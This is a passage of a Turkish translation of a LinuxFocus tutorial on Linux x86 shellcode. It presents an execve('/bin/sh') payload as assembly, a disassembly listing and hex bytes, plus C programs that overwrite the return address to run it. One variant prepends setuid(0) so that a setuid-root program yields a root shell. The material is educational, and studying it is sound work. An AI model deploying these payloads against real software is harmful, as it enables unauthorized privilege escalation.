Diğer yandan "/bin/sh" string'i null byte ile son bulması gerekmektedir.Biz kabuk kodunu oluştururken bir tane koyabiliriz fakat bu programın içine konacak mekanizmaya bağlıdır.Bu null byte son uygulamada görünmeyebilir :

    /* movb only works on one byte */
    /* this instruction is equivalent to */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

Kabuk kodunun inşaası

Şimdi kabuk kodunu oluşturmak için herşeye sahibiz :

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

"gcc -o shellcode4 shellcode4.c" ile kod derlenir. "objdump --disassemble shellcode4" komutu yardımıyla bizim binary'imiz (ikili tabanımız) daha fazla null byte tutmazlar :

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

Veri 80483c1 adresinden sonra gelir ve talimatları ifade etmez, fakat "/bin/sh" string karakterleri (in hexadécimal, sıra 2f 62 69 6e 2f 73 68 00)ve rasgele byte'lar.Kod başka sıfır tutmaz sadece null karakterini tutar string'in sonunda 80483c8.

Şimdi programımızı test edelim :

$ ./shellcode4
Segmentation fault (core dumped)
$

Ooops!Çok iyi bir sonuç değil.Eğer bit şeklinde düşünürsek hafıza alanınındaki main() fonksiyonu buluruz.(örneğin text alanından bahsedildimakalenin başında) sadece-oku.Kabuk kodu bunu değiştiremez.Ne yaapabiliriz kabuk kodunu test etmek için?Sadece-oku problemini çözmek için kabuk kodu veri alanına konulması gereklidir. Gelin bir array koyalım global değişken gibi davranan.Bir başka oyun da kabuk kodunu çalıştırabilsin main() fonksiyonu ile yığıtta bulunan geri dönüşüm adresini değiştirelim.Unutmayın ki main fonksiyonu bir "standard" rutindirve kodun bir parçası olarak tanımlanır.Geri dönüş adresi karakterlerin array'leri yığıtın en altında yer aldığı zaman tekrar yazılır.

   /*
shellcode5.c */
  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

Now, we can test our shellcode :

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

Hatta shellcode5 programını da yükleyelim.UID root kuralım ve kabuğu dataileb kontrol edelim :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

Genelleme ve son ayrıntılar

Bu kabuk kodu bir bakımdan sınırlıdır (evet, kötü değil biraz byte ile).Örneğin,test programımız şöyle olursa :

   /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
uygulamanın UID etkilerini sabitledik daha önceki makalede belirttiğimiz gibi.Şimdi kabuk ayrıcalıksız çalışabilir :
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

Bununla birlikte seteuid(getuid()) talimatı koruma için çok etkili değildir. setuid(0); kaydı kabuk kodunun başlangıcına eştir doğru linkleri EUID'ye almak için :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

Bunu bizim daha önceki kabuk koduna indirgediğimizde örneğimiz :
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
Şimdi nasıl çalıştığını kontrol edelim :
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

Son örnekte görüldüğü gibi kabuğa fonksiyon eklemek mümkündür. ,örneğin dizinden çıkmak için chroot() fonksiyonu kullanmak gereklidir veye soket kullanarak uzaktan kabuğa ulaşmak gereklidir.

Bu tip değişiklikler bazen bazı byte'ların değerine adapte olmayı ima eder. :

eb XX <subroutine_call> XX = number of bytes to reach <subroutine_call>
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = position of the second item in the array, here, having a NULL value.
88 46 XX movb %al,XX(%esi) XX = position of the end of string '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = offset to reach the first item in the argument array and to put it in the %ecx register
8d 56 XX leal XX(%esi),%edx XX = offset to reach the second item in the argument array and to put it in the %edx register
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian)
 

Sonuç

Yaklaşık 40 byte program yazdık ve bunlar harici komutlarla çalışabilirler. Son örneklerimiz yığıtların nasıl parçalanabildiği konusunda fikir vermektedirler.Bu mekanizma üzerindeki ayrıntılar bir sonraki makalede yer almaktadır...

 

Bu yazı için görüş bildiriminde bulunabilirsiniz

Her yazı kendi görüş bildirim sayfasına sahiptir. Bu sayfaya yorumlarınızı yazabilir ve diğer okuyucuların yorumlarına bakabilirsiniz.
 talkback page 

Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Burayı klikleyerek hataları rapor edebilir ya da yorumlarınızı LinuxFocus'a gönderebilirsiniz
Çeviri bilgisi:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en GeorgesTarbouriech
en -> tr Coşkun Demirboğa

2001-03-17, generated by lfparser version 2.9

mirror server hosted at Truenetwork, Russian Federation.